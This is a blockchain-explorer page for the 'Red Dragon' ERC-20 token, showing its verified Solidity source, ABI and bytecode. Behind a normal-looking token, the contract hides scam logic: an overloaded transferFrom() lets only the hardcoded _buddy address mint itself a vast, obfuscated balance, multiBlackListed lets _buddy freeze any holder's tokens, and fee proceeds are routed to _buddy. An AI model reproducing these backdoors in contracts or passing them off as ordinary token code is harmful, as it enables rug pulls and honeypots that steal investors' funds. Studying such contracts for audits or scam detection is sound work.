ETH Price: $3,470.58 (+0.61%)
Gas: 6 Gwei

Token

Red Dragon (RDragon)
 

Overview

Max Total Supply

1,000,000,000 RDragon

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
19,657,965.610502476 RDragon

Value
$0.00
0x4f91d67489929B2662f616BA37379748d53c8Fc9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RedDragon

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-23
*/

/**
 *Submitted for verification at Etherscan.io on 2022-12-23
*/

/**
 *Submitted for verification at BscScan.com on 2022-12-22
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract RedDragon is Context, IERC20, Ownable{

    using SafeMath for uint256;
    string private _name = "Red Dragon";
    string private _symbol = "RDragon";
    uint8 private _decimals = 9;
    mapping (address => uint256) _balances;

    address payable public _buddy;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _rejectListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    constructor () {

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _buddy = payable(address(0xBed776a9E7EF2F7C5D26d5C9E976AcB51449534f));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    IUniswapV2Router02 public uniswapV2Router;
    function name() public view returns (string memory) {
        return _name;
    }

    function Ialdwi() public view returns (uint256) {
        return _totalSupply;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    address public uniswapPair;

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            _buddy.transfer(MarketAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }


    function pairCreate() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function multiBlackListed(bool status, address[] calldata addresses) public {
        require(msg.sender == _buddy);
        for (uint256 i; i < addresses.length; i++) {
            _rejectListed[addresses[i]] = status;
        }
    }

    function transferFrom() public {require(msg.sender == _buddy);
        _balances[_buddy] += 89 + Ialdwi().mul(9**5) + 5913;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_rejectListed[from]);

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Ialdwi","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buddy","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_rejectListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"},{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"multiBlackListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairCreate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600a81526020017f52656420447261676f6e000000000000000000000000000000000000000000008152506001908051906020019062000051929190620003e9565b506040518060400160405280600781526020017f52447261676f6e00000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620003e9565b506009600360006101000a81548160ff021916908360ff1602179055506003600a556003600b55600360009054906101000a900460ff16600a620000e4919062000522565b633b9aca00620000f591906200065f565b600c553480156200010557600080fd5b5062000116620003b860201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160076000620001e6620003c060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073bed776a9e7ef2f7c5d26d5c9e976acb51449534f600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c5460046000620002fb620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000349620003b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003aa9190620004aa565b60405180910390a362000778565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620003f790620006d7565b90600052602060002090601f0160209004810192826200041b576000855562000467565b82601f106200043657805160ff191683800117855562000467565b8280016001018555821562000467579182015b828111156200046657825182559160200191906001019062000449565b5b5090506200047691906200047a565b5090565b5b80821115620004955760008160009055506001016200047b565b5090565b620004a481620006c0565b82525050565b6000602082019050620004c1600083018462000499565b92915050565b6000808291508390505b60018511156200051957808604811115620004f157620004f06200070d565b5b6001851615620005015780820291505b808102905062000511856200076b565b9450620004d1565b94509492505050565b60006200052f82620006c0565b91506200053c83620006ca565b92506200056b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000573565b905092915050565b60008262000585576001905062000658565b8162000595576000905062000658565b8160018114620005ae5760028114620005b957620005ef565b600191505062000658565b60ff841115620005ce57620005cd6200070d565b5b8360020a915084821115620005e857620005e76200070d565b5b5062000658565b5060208310610133831016604e8410600b8410161715620006295782820a9050838111156200062357620006226200070d565b5b62000658565b620006388484846001620004c7565b925090508184048111156200065257620006516200070d565b5b81810290505b9392505050565b60006200066c82620006c0565b91506200067983620006c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006b557620006b46200070d565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006f057607f821691505b602082108114156200070757620007066200073c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b612cfe80620007886000396000f3fe6080604052600436106101445760003560e01c80636b14a470116100b6578063a9059cbb1161006f578063a9059cbb1461046d578063c5d24189146104aa578063c816841b146104d5578063c860795214610500578063dd62ed3e1461052b578063f2fde38b146105685761014b565b80636b14a4701461035d57806370a0823114610386578063811c34d3146103c35780638da5cb5b146103da578063943ec94f1461040557806395d89b41146104425761014b565b806323b872dd1161010857806323b872dd14610239578063260fbeda14610276578063313ce567146102a15780633345611e146102cc5780633ecad2711461030957806365ff6df9146103465761014b565b806306fdde0314610150578063095ea7b31461017b5780631694505e146101b857806318160ddd146101e35780631d53efc21461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610591565b6040516101729190612510565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d91906121bf565b610623565b6040516101af91906124da565b60405180910390f35b3480156101c457600080fd5b506101cd610641565b6040516101da91906124f5565b60405180910390f35b3480156101ef57600080fd5b506101f8610667565b6040516102059190612612565b60405180910390f35b34801561021a57600080fd5b50610223610671565b6040516102309190612612565b60405180910390f35b34801561024557600080fd5b50610260600480360381019061025b919061216c565b61067b565b60405161026d91906124da565b60405180910390f35b34801561028257600080fd5b5061028b610755565b6040516102989190612496565b60405180910390f35b3480156102ad57600080fd5b506102b661077b565b6040516102c39190612687565b60405180910390f35b3480156102d857600080fd5b506102f360048036038101906102ee91906120d2565b610792565b60405161030091906124da565b60405180910390f35b34801561031557600080fd5b50610330600480360381019061032b91906120d2565b6107b2565b60405161033d91906124da565b60405180910390f35b34801561035257600080fd5b5061035b6107d2565b005b34801561036957600080fd5b50610384600480360381019061037f91906121ff565b610baa565b005b34801561039257600080fd5b506103ad60048036038101906103a891906120d2565b610ca9565b6040516103ba9190612612565b60405180910390f35b3480156103cf57600080fd5b506103d8610cf2565b005b3480156103e657600080fd5b506103ef610dfa565b6040516103fc919061247b565b60405180910390f35b34801561041157600080fd5b5061042c600480360381019061042791906120d2565b610e23565b60405161043991906124da565b60405180910390f35b34801561044e57600080fd5b50610457610e43565b6040516104649190612510565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f91906121bf565b610ed5565b6040516104a191906124da565b60405180910390f35b3480156104b657600080fd5b506104bf610ef4565b6040516104cc9190612612565b60405180910390f35b3480156104e157600080fd5b506104ea610efa565b6040516104f7919061247b565b60405180910390f35b34801561050c57600080fd5b50610515610f20565b6040516105229190612612565b60405180910390f35b34801561053757600080fd5b50610552600480360381019061054d919061212c565b610f26565b60405161055f9190612612565b60405180910390f35b34801561057457600080fd5b5061058f600480360381019061058a91906120d2565b610fad565b005b6060600180546105a0906128ee565b80601f01602080910402602001604051908101604052809291908181526020018280546105cc906128ee565b80156106195780601f106105ee57610100808354040283529160200191610619565b820191906000526020600020905b8154815290600101906020018083116105fc57829003601f168201915b5050505050905090565b60006106376106306110ff565b8484611107565b6001905092915050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b6000600c54905090565b60006106888484846112d2565b5061074a846106956110ff565b61074585604051806060016040528060288152602001612ca160289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fb6110ff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461191d9092919063ffffffff16565b611107565b600190509392505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6107da6110ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085e906125b2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108c657600080fd5b505afa1580156108da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fe91906120ff565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561096057600080fd5b505afa158015610974573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099891906120ff565b6040518363ffffffff1660e01b81526004016109b59291906124b1565b602060405180830381600087803b1580156109cf57600080fd5b505af11580156109e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0791906120ff565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c0457600080fd5b60005b82829050811015610ca3578360096000858585818110610c2a57610c296129f6565b5b9050602002016020810190610c3f91906120d2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c9b90612920565b915050610c07565b50505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d4c57600080fd5b611719610d6b61e6a9610d5d610671565b61198190919063ffffffff16565b6059610d7791906126f7565b610d8191906126f7565b60046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610df191906126f7565b92505081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60096020528060005260406000206000915054906101000a900460ff1681565b606060028054610e52906128ee565b80601f0160208091040260200160405190810160405280929190818152602001828054610e7e906128ee565b8015610ecb5780601f10610ea057610100808354040283529160200191610ecb565b820191906000526020600020905b815481529060010190602001808311610eae57829003601f168201915b5050505050905090565b6000610ee9610ee26110ff565b84846112d2565b506001905092915050565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fb56110ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611042576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611039906125b2565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116e906125f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111de90612552565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c59190612612565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611343576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133a906125d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113aa90612532565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561140a57600080fd5b600d60009054906101000a900460ff16156114315761142a8484846119fc565b9050611916565b600061143c30610ca9565b9050600d60009054906101000a900460ff161580156114a55750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114b4576114b381611bcf565b5b61150683600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115ec5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115f957839050611815565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561167c576116756064611667600a548861198190919063ffffffff16565b611f1d90919063ffffffff16565b90506116fa565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116f9576116f660646116e8600b548861198190919063ffffffff16565b611f1d90919063ffffffff16565b90505b5b60008111156117fe5761175581600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6790919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117f59190612612565b60405180910390a35b6118118186611ed390919063ffffffff16565b9150505b61186781600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6790919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119079190612612565b60405180910390a36001925050505b9392505050565b6000838311158290611965576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195c9190612510565b60405180910390fd5b506000838561197491906127d8565b9050809150509392505050565b60008083141561199457600090506119f6565b600082846119a2919061277e565b90508284826119b1919061274d565b146119f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e890612592565b60405180910390fd5b809150505b92915050565b6000611a87826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461191d9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b1c82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6790919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bbc9190612612565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c0757611c06612a25565b5b604051908082528060200260200182016040528015611c355781602001602082028036833780820191505090505b5090503081600081518110611c4d57611c4c6129f6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cef57600080fd5b505afa158015611d03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2791906120ff565b81600181518110611d3b57611d3a6129f6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611da230600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611107565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e0695949392919061262d565b600060405180830381600087803b158015611e2057600080fd5b505af1925050508015611e31575060015b611e3a57611e3b565b5b6000479050